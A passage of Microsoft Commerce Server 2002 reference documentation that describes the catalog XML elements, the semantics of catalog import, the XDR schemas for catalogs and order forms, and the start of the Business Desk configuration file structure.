Optional user defined attributes |  | Attributes created by the user with the CatalogManager AddCatalogAttribute method.

CatalogSchema

Contains the schema definition elements for the Catalog collection.

Parent Elements: MSCommerceCatalogCollection2

Child Elements: AttributeDefinition, Definition, Property

Attributes: None

Category

Defines an instance of a type of category.

Parent Elements: Catalog

Child Elements: Relationship, ParentCategory, displayName

Attributes:

Name | Type (default=string) | Description
action | string | A value of delete specifies that this element is to be deleted when the catalog is imported. If the value is unspecified then this element will be added or updated as appropriate.
DateChanged | datetime | The date and time this category was last changed.
Definition | string | The name of the category definition upon which the category is based.
id | string | The unique identifier of the category.
isSearchable | string | Indicates whether this category is to be used as a starting point for specification searches. True indicates this category will be included in the record set returned by calls to the ProductCatalog.GetSearchableCategories object. The values are 0 for False; 1 for True.
name | string | The name of the category. This name must be unique for all categories in the same catalog.
PrimaryParentCategory | string | The primary parent category of this category.
listprice | string | The price that should be applied to any products that reference this category as their pricing category. Units for this value are determined by the currency attribute of the containing catalog.
Optional user defined attributes |  | The properties that the user has added to the category definition for this category.

DefaultValue

Defines a language default value for an enumeration type property.

Parent Elements: Property

Child Elements: None

Attributes:

Attribute name | Type | Description
value | string | Text of the default value.
language | string | Theculture code indicating the language to which the default value applies.

Definition

Defines a type of product or category.

Parent Elements: CatalogSchema

Child Elements: DefProperty, DefVariantProperty

Attributes:

Name | Type | Description
DefinitionType | enumeration | The type of the definition — either product or category.
Name | string | The name of the property. This name must be unique within the XML document.

DefProperty

Contains the name of property that is part of a Definition.

Parent Elements: Definition

Child Elements: none

Attributes: none

DefVariantProperty

Contains the name of variant property that is part of a Definition.

Parent Elements: Definition

Child Elements: none

Attributes: none

displayName

Defines a language-specific display name for a property, category, or catalog.

Parent Elements: Property, Category, Catalog

Child Elements: None

Attributes:

Attribute name | Type (default=string) | Description
value | string | The display name text.
language | string | culture code indicating the language to which the display name applies.

MSCommerceCatalogCollection2

The root node for a Commerce Server Catalog XML file.

Parent Elements: None

Child Elements: CatalogSchema, Catalog

Attributes:

Attribute name | Type | Description
version | string | The version of the schema. "2.0" indicates the Commerce Server 2002 schema.

ParentCategory

Contains the name of a category that has a parent relationship to the containing product or category element.

Parent Elements: Category, Product

Child Elements: none

Product

Defines an instance of a type of product.

Parent Elements: Catalog

Child Elements: ParentCategory, ProductVariant, Relationship, <UserDefinedMultilingualProperty>

Attributes:

Name | Type | Description
action | string | A value of delete specifies that this element is to be deleted when the catalog is imported. If the value is unspecified then this element will be added or updated as appropriate.
DateChanged | datetime | The date and time that the product was last changed.
Definition | string | The name of the product definition upon which the product is based.
id | string | The XML ID for the product element.
listprice | string | The price for this product. Units for this value are determined by the currency attribute of the containing catalog. This attribute is required.
PrimaryParentCategory | string | The XML ID of the category to which the product belongs.
UseCategorypricing | boolean | Specifies whether the price of this product should be inherited from the PrimaryParentCategory of this product. A value of 1 (one) indicates to inherit the price from the PrimaryParentCategory.
Optional user defined attributes |  | The properties that the user has added to the product definition for this product.

ProductVariant

Defines an instance of a variant of a product.

Parent Elements: Product

Child Elements: <UserDefinedMultilingualProperty>

Attributes:

Name | Type | Description
action | string | A value of delete specifies that this element is to be deleted when the catalog is imported. If the value is unspecified then this element will be added or updated as appropriate.
DateChanged | datetime | The date and time that the product variant was last changed.
id | string | The XML ID for the variant element.
listprice | string | The price for this product variant. Units for this value are determined by the currency attribute of the containing catalog. This attribute is required.

Property

Defines a property that can be used to describe an aspect of a product or category.

Parent Elements: CatalogSchema

Child Elements: DefaultValue, displayName, PropertyValue.

Attributes:

Name | Type | Description
AssignAll | boolean | Indicates whether this property should automatically be assigned to product definitions as they are created through Commerce Server Business Desk. The values are: "1" (True) or "0" (False).
Currency | string | The currency used in the catalog, expressed as a three letter ISO 4217 currency code. For example, USD, AUD, CDN, GBP, DEM, JPY. This attribute is only valid when the DataType attribute is money.
DataType | string | Legal values are: datetime enumeration filename float money number string bignumber currency boolean real text
DisplayInProductsList | boolean | Indicates whether this property is to be displayed in summary lists of products in the Business Desk Catalog Editor, or in other areas where product lists are displayed. The values are: "1" (True) or "0" (False)
DisplayOnSite | boolean | Indicates whether this property should be shown to users visiting the Web site. The values are: "1" (True) or "0" (False).
ExportToDW | boolean | Indicates whether the Catalog DTS task should export this property into the Data Warehouse. Properties with this attribute set to True will be available for use in reports and data analysis. The values are: "1" (True) or "0" (False)
id | string | A unique ID for each node in the document. May not contain spaces (an XML requirement).
IncludeInSpecSearch | boolean | Indicates whether this property should be exposed to specification searches. The values are: "1" (True) or "0" (False)
IsFreeTextSearchable | boolean | Indicates whether this property should be included in the full-text index, and therefore, be free text searchable. The values are: "1" (True) or "0" (False)
IsRequired | boolean | Indicates whether a value is required for this property. This rule is enforced by Bizdesk and not by the catalog objects The values are: "1" (True) or "0" (False)
MaxValue | string | The maximum legal value for number data types, and the maximum length for string data types.
MinValue | string | The minimum legal value for number data types, and the minimum length for string data types.
Multilingual | string | Indicates whether this property is multilingual. This attribute is only valid when the DataType attribute is string, text, filename, or enumeration. The values are: "1" (True) or "0" (False)
name | string | The unique name of the property.

PropertyValue

Defines a legal value for a property.

Parent Elements: Property

Child Elements: None

Attributes:

Name | Type | Description
displayName | string | A legal value for the containing property.
Language | string | ISO 639+1 code indicating the language to which the property value applies.

Relationship

Defines a relationship between one product or category and another product or category.

Parent Elements: Category, Product

Child Elements: RelationshipDescription

Attributes:

Name | Type | Description
name | string | The name of the relationship.
targetCatalog | string | The name of the catalog containing the target of this relationship, if the relationship is to an item in a different catalog. Not used if the relationship attribute is used to define a relationship to an item in the same catalog.
targetCategory | string | The name of the category that is the target of this relationship. Not used if the relationship attribute is used to define a relationship to an item in the same catalog.
targetProduct | string | The ID of the product that is the target of this relationship. Not used if the relationship attribute is used to define a relationship to an item in the same catalog.

RelationshipDescription

Defines a language specific description for a relationship.

Parent Elements: Relationship

Child Elements: None

Attributes:

Attribute name | Type (default=string) | Description
value | string | The display name text.
language | string | ISO 639+1 code indicating the language to which the display name applies.

<UserDefinedMultilingualProperty>

Defines a name and value pair for a multilingual property.

Parent Elements: Category, Product, ProductVariant

Child Elements: None

Attributes:

Name | Type | Description
Value | string | The text value of the property.
language | string | ISO 639+1 code indicating the language to which the property applies.


Import Semantics

This section describes the semantics that apply when importing a Commerce Server Catalog XML file. Commerce Server can import XML files exported from previous versions of Commerce Server. The import method will automatically detect the schema version.

Catalog Schema Semantics

Catalog Data Semantics

Catalog Schema Semantics

Schema defined in the XML file must not conflict with any schema elements (product, category, and property definitions) that are already defined in the catalog database. If there is a conflict then a descriptive error will be written to the application event log and the import will fail. Schema conflicts can include:

  • Redefining a property to use a different data type than it is already defined as.
  • Redefining a property to use different minimum and maximum values.
  • Redefining a product or category definition to have a different set of member properties.
  • Redefining a language-neutral property as multilingual, or redefining a multilingual property as language neutral.
  • Importing a catalog in an update mode with different product and variant identifiers.

Schema elements are never deleted as a result of importing an XML-formatted catalog — only new schema is added.

The data types that are referenced in the Commerce Server Catalog XML format are mapped to SQL Server data types as follows:

Catalog XML data type | SQL data type
string | nvarchar
number | int
Bignumber | bigint
datetime | datetime
Currency | money
Money | money
boolean | bit
Enumeration | nvarchar(128)
Real | real
Float | decimal
Filename | nvarchar(256)
Text | ntext

Note

  • The bignumber, boolean, and real data types are not currently supported by Commerce Server Business Desk.

Catalog Data Semantics

An XML-formatted catalog file can define new catalogs or it can define updates to catalogs that already exist in the catalog database.

If a catalog that you want to import already exists in the catalog database, the existing catalog can be replaced by the imported catalog, or you can merge the two catalogs. Keep in mind the following if you decide to merge the catalogs:

  • Products can be modified or added.
  • Product variants can be modified or added.
  • Categories can be modified or added.
  • Products, product variants, and categories can only be deleted if the schema of the catalog XML file is version 1.5 or 2.0. The version 1.0 schema, the version used by Commerce Server 2002, does not support deletions.
  • Be aware that a product element that has the same identifying properties as a product that already exists will cause the existing product to be updated. This product element can specify only a subset of the properties that apply to that product in order to update certain properties (for example, to update only the description property or the price).
  • If a product that you want to import already exists in the catalog database (for example, it has the same identifier as an existing product), but is based on a different definition, then the existing product in the database will be deleted and replaced with the new product.
  • If a product being imported already exists in the catalog database you must specify all the parent categories and all the relationships each time the product is imported (or else those relationships will be deleted).


XDR Schema

The XML-Data Reduced (XDR) schema defines the individual elements, attributes, and relations used in the XML structure.

  <?xml version="1.0" ?>
- <Schema name="MSCommerceCatalogCollection2" xmlns:dt="urn:schemas-microsoft-com:datatypes" xmlns="urn:schemas-microsoft-com:xml-data">
  <AttributeType name="name" dt:type="string" required="yes" />
  <AttributeType name="id" dt:type="string" required="no" />
  <AttributeType name="dataType" dt:type="enumeration" dt:values="string number bignumber datetime money real float currency boolean enumeration filename text" required="yes" />
  <AttributeType name="Value" dt:type="string" required="no" />
  <AttributeType name="language" dt:type="string" required="no" />
  <AttributeType name="Definition" dt:type="string" required="no" />
  <AttributeType name="DateChanged" dt:type="datetime" required="no" />
  <AttributeType name="action" dt:type="enumeration" dt:values="add delete" required="no" />
  <AttributeType name="pricingCategory" dt:type="string" required="no" />
  <AttributeType name="MaxLength" dt:type="number" required="no" />
  <AttributeType name="Artist" dt:type="string" required="no" />
  <AttributeType name="Author" dt:type="string" required="no" />
  <AttributeType name="Benefits" dt:type="string" required="no" />
  <AttributeType name="Binding" dt:type="string" required="no" />
  <AttributeType name="City" dt:type="string" required="no" />
  <AttributeType name="Classification" dt:type="number" required="no" />
  <AttributeType name="ClassificationDomain" dt:type="string" required="no" />
  <AttributeType name="Color" dt:type="string" required="no" />
  <AttributeType name="ColorPrinting" dt:type="string" required="no" />
  <AttributeType name="Cordless" dt:type="string" required="no" />
  <AttributeType name="Country_x0020_of_x0020_Origin" dt:type="string" required="no" />
  <AttributeType name="Description" dt:type="string" required="no" />
  <AttributeType name="DPI" dt:type="number" required="no" />
  <AttributeType name="EventDate" dt:type="datetime" required="no" />
  <AttributeType name="Features" dt:type="string" required="no" />
  <AttributeType name="Gender" dt:type="string" required="no" />
  <AttributeType name="Image_filename" dt:type="string" required="no" />
  <AttributeType name="Image_height" dt:type="number" required="no" />
  <AttributeType name="Image_width" dt:type="number" required="no" />
  <AttributeType name="ISBN" dt:type="string" required="no" />
  <AttributeType name="JeansColor" dt:type="string" required="no" />
  <AttributeType name="JeansSize" dt:type="string" required="no" />
  <AttributeType name="Label" dt:type="string" required="no" />
  <AttributeType name="Licencetype" dt:type="string" required="no" />
  <AttributeType name="Manufacturer" dt:type="string" required="no" />
  <AttributeType name="ManufacturerPartID" dt:type="string" required="no" />
  <AttributeType name="MinutesDuration" dt:type="number" required="no" />
  <AttributeType name="Name" dt:type="string" required="no" />
  <AttributeType name="Os" dt:type="string" required="no" />
  <AttributeType name="PPM" dt:type="number" required="no" />
  <AttributeType name="PrintingTechnology" dt:type="string" required="no" />
  <AttributeType name="prodid" dt:type="string" required="no" />
  <AttributeType name="product_name" dt:type="string" required="no" />
  <AttributeType name="producturl" dt:type="string" required="no" />
  <AttributeType name="Publication_x0020_Year" dt:type="number" required="no" />
  <AttributeType name="Publisher" dt:type="string" required="no" />
  <AttributeType name="RemotelyConfigurable" dt:type="string" required="no" />
  <AttributeType name="ScrollWheel" dt:type="string" required="no" />
  <AttributeType name="SKU" dt:type="string" required="no" />
  <AttributeType name="System_Requirements" dt:type="string" required="no" />
  <AttributeType name="Title" dt:type="string" required="no" />
  <AttributeType name="UN_x002f_SPSC" dt:type="string" required="no" />
  <AttributeType name="Unit_x0020_of_x0020_measure" dt:type="string" required="no" />
  <AttributeType name="Unit_of_measure" dt:type="string" required="no" />
  <AttributeType name="UNSPSC" dt:type="string" required="no" />
  <AttributeType name="Vendor_x0020_Code" dt:type="string" required="no" />
  <AttributeType name="Venue" dt:type="string" required="no" />
  <AttributeType name="Voltage" dt:type="number" required="no" />
  <AttributeType name="Watts" dt:type="number" required="no" />
  <AttributeType name="Weight" dt:type="float" required="no" />
- <ElementType name="MSCommerceCatalogCollection2">
  <AttributeType name="version" dt:type="string" required="yes" />
  <element type="CatalogSchema" minOccurs="1" maxOccurs="1" />
  <element type="Catalog" minOccurs="0" maxOccurs="*" />
  <attribute type="version" />
  </ElementType>
- <ElementType name="CatalogSchema">
  <element type="Property" minOccurs="0" maxOccurs="*" />
  <element type="Definition" minOccurs="0" maxOccurs="*" />
  <element type="AttributeDefinition" minOccurs="0" maxOccurs="*" />
  </ElementType>
- <ElementType name="Property" model="open">
  <AttributeType name="MinValue" dt:type="string" required="no" />
  <AttributeType name="MaxValue" dt:type="string" required="no" />
  <AttributeType name="IsFreeTextSearchable" dt:type="boolean" required="no" />
  <AttributeType name="IncludeInSpecSearch" dt:type="boolean" required="no" />
  <AttributeType name="DisplayOnSite" dt:type="boolean" required="no" />
  <AttributeType name="AssignAll" dt:type="boolean" required="no" />
  <AttributeType name="ExportToDW" dt:type="boolean" required="no" />
  <AttributeType name="DisplayInProductsList" dt:type="boolean" required="no" />
  <AttributeType name="currency" dt:type="string" required="no" />
  <AttributeType name="IsRequired" dt:type="boolean" required="no" />
  <AttributeType name="Multilingual" dt:type="string" required="no" />
  <attribute type="name" />
  <attribute type="id" />
  <attribute type="dataType" />
  <attribute type="DateChanged" />
  <attribute type="MinValue" />
  <attribute type="MaxValue" />
  <attribute type="IsFreeTextSearchable" />
  <attribute type="IncludeInSpecSearch" />
  <attribute type="DisplayOnSite" />
  <attribute type="AssignAll" />
  <attribute type="ExportToDW" />
  <attribute type="DisplayInProductsList" />
  <attribute type="currency" />
  <attribute type="IsRequired" />
  <attribute type="Multilingual" />
  <element type="DefaultValue" minOccurs="0" maxOccurs="*" />
  <element type="displayName" minOccurs="0" maxOccurs="*" />
  <element type="PropertyValue" minOccurs="0" maxOccurs="*" />
  </ElementType>
- <ElementType name="PropertyValue">
  <AttributeType name="displayName" dt:type="string" required="yes" />
  <attribute type="language" />
  <attribute type="displayName" />
  </ElementType>
- <ElementType name="AttributeDefinition">
  <attribute type="name" />
  <attribute type="dataType" />
  <attribute type="MaxLength" />
  </ElementType>
- <ElementType name="Definition">
  <AttributeType name="DefinitionType" required="yes" dt:type="enumeration" dt:values="product category" />
  <attribute type="name" />
  <attribute type="DefinitionType" />
  <attribute type="DateChanged" />
  <element type="DefProperty" />
  <element type="DefVariantProperty" />
  </ElementType>
  <ElementType name="DefProperty" />
  <ElementType name="DefVariantProperty" />
  <ElementType name="ParentCategory" />
- <ElementType name="Category">
  <AttributeType name="isSearchable" dt:type="boolean" required="no" />
  <AttributeType name="listprice" dt:type="string" required="no" />
  <AttributeType name="PrimaryParentCategory" dt:type="string" required="no" />
  <attribute type="Definition" />
  <attribute type="name" />
  <attribute type="id" />
  <attribute type="DateChanged" />
  <attribute type="action" />
  <attribute type="isSearchable" />
  <attribute type="listprice" />
  <attribute type="PrimaryParentCategory" />
  <attribute type="Description" />
  <attribute type="Image_filename" />
  <attribute type="Image_height" />
  <attribute type="Image_width" />
  <element type="ParentCategory" minOccurs="0" maxOccurs="*" />
  <element type="displayName" minOccurs="0" maxOccurs="*" />
  <element type="Relationship" minOccurs="0" maxOccurs="*" />
  </ElementType>
- <ElementType name="Product">
  <AttributeType name="PrimaryParentCategory" dt:type="string" required="no" />
  <AttributeType name="listprice" dt:type="string" required="yes" />
  <attribute type="Definition" />
  <attribute type="id" />
  <attribute type="PrimaryParentCategory" />
  <attribute type="pricingCategory" />
  <attribute type="DateChanged" />
  <attribute type="action" />
  <attribute type="listprice" />
  <attribute type="Artist" />
  <attribute type="Author" />
  <attribute type="Benefits" />
  <attribute type="City" />
  <attribute type="Classification" />
  <attribute type="ClassificationDomain" />
  <attribute type="ColorPrinting" />
  <attribute type="Cordless" />
  <attribute type="Country_x0020_of_x0020_Origin" />
  <attribute type="Description" />
  <attribute type="EventDate" />
  <attribute type="Features" />
  <attribute type="Image_filename" />
  <attribute type="Image_height" />
  <attribute type="Image_width" />
  <attribute type="Label" />
  <attribute type="Licencetype" />
  <attribute type="Manufacturer" />
  <attribute type="ManufacturerPartID" />
  <attribute type="MinutesDuration" />
  <attribute type="Name" />
  <attribute type="Os" />
  <attribute type="PPM" />
  <attribute type="PrintingTechnology" />
  <attribute type="prodid" />
  <attribute type="product_name" />
  <attribute type="producturl" />
  <attribute type="Publication_x0020_Year" />
  <attribute type="Publisher" />
  <attribute type="RemotelyConfigurable" />
  <attribute type="ScrollWheel" />
  <attribute type="SKU" />
  <attribute type="System_Requirements" />
  <attribute type="Title" />
  <attribute type="Unit_of_measure" />
  <attribute type="Venue" />
  <attribute type="Weight" />
  <element type="ParentCategory" minOccurs="0" maxOccurs="*" />
  <element type="Relationship" minOccurs="0" maxOccurs="*" />
  <element type="ProductVariant" minOccurs="0" maxOccurs="*" />
  </ElementType>
- <ElementType name="ProductVariant">
  <AttributeType name="listprice" dt:type="string" required="yes" />
  <attribute type="Binding" />
  <attribute type="Color" />
  <attribute type="ISBN" />
  <attribute type="JeansColor" />
  <attribute type="JeansSize" />
  <attribute type="SKU" />
  <attribute type="listprice" />
  <attribute type="id" />
  <attribute type="DateChanged" />
  <attribute type="action" />
  </ElementType>
- <ElementType name="Catalog">
  <AttributeType name="currency" dt:type="string" required="no" />
  <AttributeType name="DefaultLanguage" dt:type="string" required="no" />
  <AttributeType name="ReportingLanguage" dt:type="string" required="no" />
  <AttributeType name="languages" dt:type="string" required="no" />
  <AttributeType name="locale" dt:type="string" required="no" />
  <AttributeType name="startDate" dt:type="string" required="no" />
  <AttributeType name="endDate" dt:type="string" required="no" />
  <AttributeType name="productUID" dt:type="string" required="yes" />
  <AttributeType name="variantUID" dt:type="string" required="no" />
  <AttributeType name="weight_measuring_unit" dt:type="string" required="no" />
  <element type="Category" minOccurs="0" maxOccurs="*" />
  <element type="Product" minOccurs="0" maxOccurs="*" />
  <element type="displayName" minOccurs="0" maxOccurs="*" />
  <attribute type="name" />
  <attribute type="currency" />
  <attribute type="DefaultLanguage" />
  <attribute type="ReportingLanguage" />
  <attribute type="languages" />
  <attribute type="locale" />
  <attribute type="startDate" />
  <attribute type="endDate" />
  <attribute type="productUID" />
  <attribute type="variantUID" />
  <attribute type="weight_measuring_unit" />
  </ElementType>
- <ElementType name="Relationship">
  <AttributeType name="targetCatalog" required="no" dt:type="string" />
  <AttributeType name="targetCategory" required="no" dt:type="string" />
  <AttributeType name="targetProduct" required="no" dt:type="string" />
  <attribute type="name" />
  <attribute type="targetCatalog" />
  <attribute type="targetCategory" />
  <attribute type="targetProduct" />
  <element type="RelationshipDescription" minOccurs="0" maxOccurs="*" />
  </ElementType>
- <ElementType name="RelationshipDescription">
  <attribute type="language" />
  <attribute type="Value" />
  </ElementType>
- <ElementType name="displayName">
  <attribute type="language" />
  <attribute type="Value" />
  </ElementType>
- <ElementType name="DefaultValue">
  <attribute type="language" />
  <attribute type="Value" />
  </ElementType>
  </Schema>


Order XML Structures

The Microsoft Commerce Server 2002 Order Extensible Markup Language (XML) format is designed to represent an order in a format suitable for exchange between applications and for transport over the Internet.

The format itself is defined in an XML data schema, allowing it to be used with XML data-aware tools such, as BizTalk Server mapping tools.

This section contains:

  • XML Elements. Describes the XML elements and their relations.
  • XDR Schema. Shows the XML-Data Reduced (XDR) schema defines the individual elements, attributes, and relations.


XML Elements

The following table describes some of the elements used in the Commerce Server 2002 order form:

Name | Description
Payment Method | The supported payment method. For example, credit card or check.
Billing_Address_ID | The Address Dictionary key for the billing address. For information about Address Dictionary key see the Address element.
Order ID | The order reference ID of the sender.
Order Date | The order date of the sender or the buyer.
Billing_Currency | The billing currency code. For example, USD, YEN, or CSD.
From/Identity | The trading partner identification. For example, the trading partner number.
From/Organization Name | The trading partner organization name.
From/SharedSecret | The secret shared with the trading partner (second password).
To/Identity | The identification of the supplier.
To/SharedSecret | The secret shared with supplier (second password).
Sender/Identity | The identification of the buyer.
Sender/SharedSecret | The secret shared with the trading partner (second password).
Address | The Address element can be used for both Billing address and Shipping address. AddressDictKey is the unique id that identifies the different addresses.
Address/AddressDicKey | The unique Id that identifies the given address.
Items/quantity | The quantity of the product.
Items/Vendorid | The vendor Id (if it exists) of the product.
Items/ProductId | The product Id of the product. This should match with the product id in the product catalog.
Item/Product_variant_id | Variant Id of the particular product. Again should match with the catalog.
Item/Product_Name | The name of the product.
Items/Product_Catalog | The name of the catalog that contains the product.
Items/Product _category | The category of the product.
Items/Description | The description of the product .
Items/Shipping_address_id | The AddressDictKey for the shipping address.
Items/Shipping_method_id | The shipping method Id.
Items/Shipping_Method_Name | The name of the shipping method. For example, ground or next day air.
Items/d_DateCreated | The date the supplier order was created.
Items/cy_Lineitem_total | The line item total.
Items/RequestedDeliveryDate | The requested delivery date of the product by the buyer.
Items/UnitOfMeasure | The unit of measure for the product. For example, pounds or grams.


XDR Schema

The XML-Data Reduced (XDR) schema defines the individual elements, attributes, and relations used in the XML structure of the Commerce Server 2002 Order From.

<?xml version="1.0" ?>
- <Schema name="orderform" b:BizTalkServerEditorTool_Version="1.0" b:root_reference="orderform" b:version="1.5" b:standard="XML" xmlns="urn:schemas-microsoft-com:xml-data" xmlns:dt="urn:schemas-microsoft-com:datatypes" xmlns:b="urn:schemas-microsoft-com:BizTalkServer">
  <b:SelectionFields />
- <ElementType name="orderform" content="eltOnly" model="open">
  <b:RecordInfo />
- <AttributeType name="payment_method">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="billing_currency">
  <description>currency code</description>
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="billing_amount">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="billing_address_id">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="PayloadID">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="OrderID">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="OrderDate">
  <b:FieldInfo />
  </AttributeType>
  <attribute type="payment_method" required="no" />
  <attribute type="billing_address_id" required="no" />
  <attribute type="PayloadID" required="no" />
  <attribute type="OrderID" required="no" />
  <attribute type="OrderDate" required="no" />
  <attribute type="billing_currency" required="no" />
  <attribute type="billing_amount" required="no" />
  <element type="From" maxOccurs="1" minOccurs="0" />
  <element type="To" maxOccurs="1" minOccurs="0" />
  <element type="Sender" maxOccurs="1" minOccurs="0" />
  <element type="Addresses" maxOccurs="*" minOccurs="0" />
  <element type="Items" maxOccurs="*" minOccurs="0" />
  </ElementType>
- <ElementType name="To" content="empty" model="closed">
  <b:RecordInfo />
- <AttributeType name="SharedSecret">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="Identity">
  <b:FieldInfo />
  </AttributeType>
  <attribute type="Identity" required="no" />
  <attribute type="SharedSecret" required="no" />
  </ElementType>
- <ElementType name="Sender" content="empty" model="closed">
  <b:RecordInfo />
- <AttributeType name="SharedSecret">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="Identity">
  <b:FieldInfo />
  </AttributeType>
  <attribute type="Identity" required="no" />
  <attribute type="SharedSecret" required="no" />
  </ElementType>
- <ElementType name="Items" content="empty" model="open">
  <b:RecordInfo />
- <AttributeType name="vendorid">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="shipping_method_name">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="shipping_method_id">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="shipping_address_id">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="quantity" dt:type="string">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="product_variant_id">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="product_name" dt:type="string">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="product_id">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="product_category">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="product_catalog">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="description">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="d_DateCreated">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="cy_lineitem_total" dt:type="float">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="UnitOfMeasure">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="RequestedDeliveryDate">
  <b:FieldInfo />
  </AttributeType>
  <attribute type="quantity" required="no" />
  <attribute type="vendorid" required="no" />
  <attribute type="product_id" required="no" />
  <attribute type="product_variant_id" required="no" />
  <attribute type="product_name" required="no" />
  <attribute type="product_catalog" required="no" />
  <attribute type="product_category" required="no" />
  <attribute type="description" required="no" />
  <attribute type="shipping_address_id" required="no" />
  <attribute type="shipping_method_id" required="no" />
  <attribute type="shipping_method_name" required="no" />
  <attribute type="d_DateCreated" required="no" />
  <attribute type="cy_lineitem_total" required="no" />
  <attribute type="RequestedDeliveryDate" required="no" />
  <attribute type="UnitOfMeasure" required="no" />
  </ElementType>
- <ElementType name="From" content="empty" model="closed">
  <b:RecordInfo />
- <AttributeType name="SharedSecret">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="OrganizationName" dt:type="string">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="Identity">
  <b:FieldInfo />
  </AttributeType>
  <attribute type="Identity" required="no" />
  <attribute type="OrganizationName" required="no" />
  <attribute type="SharedSecret" required="no" />
  </ElementType>
- <ElementType name="Addresses" content="empty" model="open">
  <b:RecordInfo />
- <AttributeType name="region_code" dt:type="string">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="postal_code" dt:type="string">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="phone_ext" dt:type="string">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="phone" dt:type="string">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="last_name" dt:type="string">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="first_name" dt:type="string">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="country_name" dt:type="string">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="country_code" dt:type="string">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="city" dt:type="string">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="address_name" dt:type="string">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="address_line2" dt:type="string">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="address_line1" dt:type="string">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="AddressesDictKey">
  <b:FieldInfo />
  </AttributeType>
  <attribute type="first_name" required="no" />
  <attribute type="last_name" required="no" />
  <attribute type="address_name" required="no" />
  <attribute type="address_line1" required="no" />
  <attribute type="address_line2" required="no" />
  <attribute type="city" required="no" />
  <attribute type="region_code" required="no" />
  <attribute type="postal_code" required="no" />
  <attribute type="country_code" required="no" />
  <attribute type="country_name" required="no" />
  <attribute type="phone" required="no" />
  <attribute type="phone_ext" required="no" />
  <attribute type="AddressesDictKey" required="no" />
  </ElementType>
  </Schema>


Business Desk XML Structures

The Extensible Markup Language (XML) structures used by Commerce Server Business Desk can be divided into five categories:

  • Module Configuration. XML structures used for category and module configuration. These need to be modified only when a new module is added to Business Desk, or in the event that existing modules are rearranged or removed.
  • HTML Component Data Representation. XML structures used to represent the data that is displayed within the various HTML components (HTCs) that are provided as part of the Business Desk Framework. For the most part, a single standard format is used, although it can be nested more deeply for some controls than for others. In general, an XML data-island with this structure is one of two data-islands that must exist for a particular HTC to operate correctly.

    The other XML structure in this category is used to represent the nodes in the TreeView HTC. This structure is unique because the data and configuration information are embedded into the same XML structure.

  • HTML Component Configuration. XML structures used to provide metadata about the data being displayed. For example, if the data is displayed in columns, this structure specifies information about each of those columns, such as the column heading, how the data itself should be formatted, the column width, and whether the column can be sorted. In general, an XML data-island of this type is one of two data-islands that must exist for a particular HTC to operate correctly.
  • Security Configuration. XML structures used to provide security information for Business Desk.
  • International Configuration. XML structures used to provide internationalization information for Business Desk.


Module Configuration

Extensible Markup Language (XML) structures are used by Commerce Server Business Desk for category and module configuration. These XML structures need to be modified only when a new module is added to Business Desk, or in the event that existing modules are rearranged or removed.

A master configuration file is used to link multiple module configuration files together into an overall structure. This section defines the structures of the master configuration file and the module configuration files.

This section contains:

  • Master Configuration File. Describes the XML structure of the master configuration file that ties all other module configuration files together, including their organization into categories.
  • Module Configuration Files. Describes the XML structure of the module configuration files that specify the details of each individual module.


Master Configuration File

The master configuration file, which contains XML, is the focal point of category and module configuration for Commerce Server Business Desk. For the sake of modularity, the specific configuration of each module or set of modules is isolated in other XML configuration files, called module configuration files, each of which is referenced by a moduleconfig element within the master configuration file. The module configuration files can be thought of as include files for the master configuration file.

This topic explains the contents of the master configuration file. Specifically, it shows the XML structure. Each element name is a link to a description of the contents of that element; the attributes of each element are shown in italic, without the equal sign and value that normally accompanies them. Required elements and attributes are shown in bold; optional elements and attributes are not in bold.

The XML schema for the master configuration file can be found in the file Bdconfig-schema.xml in the Business Desk Config folder.

Note

  • The XML elements and attributes in the master configuration file must be expressed in lowercase letters.

XML Structure

<?xml version = '1.0' encoding='windows-1252' ?>
<config>
  <categories>
    <category id>
      <name>name with underlined access key</name>
      <key>access key from above</key>
      <tooltip>category tooltip</tooltip>
    </category>
    ...
    <category id>
      <name>name with underlined access key</name>
      <key>access key from above</key>
      <tooltip>category tooltip</tooltip>
    </category>
  </categories>
  <moduleconfigs>
    <moduleconfig category id />
    ...
    <moduleconfig category id />
  </moduleconfigs>
</config>

config

This required element contains all configuration information in the master configuration file.

Parent Element
None (document root).
Required Child Elements
categories, moduleconfigs
Optional Child Elements
None.
Data
None.
Attributes
None.

Return to XML Structure

categories

This required element contains one or more category elements.

Parent Element
config
Required Child Elements
category (at least one, but typically more)
Optional Child Elements
None.
Data
None.
Attributes
None.

Return to XML Structure

category

This required element identifies and describes a Commerce Server Business Desk category.

Parent Element
categories
Required Child Elements
name, key, tooltip
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
